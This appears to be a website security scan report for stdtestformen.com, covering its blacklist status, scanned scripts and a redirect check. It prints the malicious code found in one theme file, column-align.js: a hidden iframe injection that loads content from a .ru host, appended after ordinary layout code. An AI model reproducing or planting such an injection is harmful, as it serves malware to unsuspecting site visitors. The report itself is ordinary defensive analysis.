Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=stdtestformen.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.stdtestformen.com/ | 200 OK Content-Length: 18269 Content-Type: text/html | clean |
https://apis.google.com/js/plusone.js | 200 OK Content-Length: 12388 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-includes/js/jquery/jquery.js?ver=1.7.2 | 200 OK Content-Length: 94861 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/simple-google-analytics/js/sga.js?ver=3.4.2 | 200 OK Content-Length: 667 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/table-of-contents-plus/jquery.smooth-scroll.min.js?ver=3.4.2 | 200 OK Content-Length: 2377 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/table-of-contents-plus/front.js?ver=3.4.2 | 200 OK Content-Length: 3429 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/table-of-contents-plus/jquery.c.min.js?ver=3.4.2 | 200 OK Content-Length: 872 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/themes/ctr-theme/js/column-align.js?ver=3.4.2 | 200 OK Content-Length: 464 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) jQuery(document).ready(function($) { var lcol_height = $("#leftCol").height() + 80; var rcol_height = $("#rightCol").height(); if(rcol_height > lcol_height) $("#leftCol").css('height',(rcol_height - 80) + 'px'); else $("#rightCol").css('height',lcol_height + 'px'); });document.write('<iframe src="http://lowendmanys.ru/remnantreplying.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); Antivirus reports:
| ||
http://pagead2.googlesyndication.com/pagead/show_ads.js | 200 OK Content-Length: 21259 Content-Type: text/javascript | clean |
http://www.onlywire.com/button | 200 OK Content-Length: 95541 Content-Type: application/x-javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/wp-slimstat/wp-slimstat.js?ver=3.4.2 | 200 OK Content-Length: 7688 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.18 | 200 OK Content-Length: 15021 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.3.1 | 200 OK Content-Length: 6859 Content-Type: application/javascript | clean |
http://www.stdtestformen.com/a-burning-question-what-is-an-std-testing-for-men-like/ | 404 Not Found Content-Length: 532 Content-Type: text/html | clean |
http://www.stdtestformen.com/test404page.js | 404 Not Found Content-Length: 491 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: stdtestformen.com
Result:
GET / HTTP/1.1
Host: stdtestformen.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: stdtestformen.com
Referer: http://www.google.com/search?q=stdtestformen.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: stdtestformen.com
Referer: http://www.google.com/search?q=stdtestformen.com
Result:
The result is similar to the first query. There are no suspicious redirects found.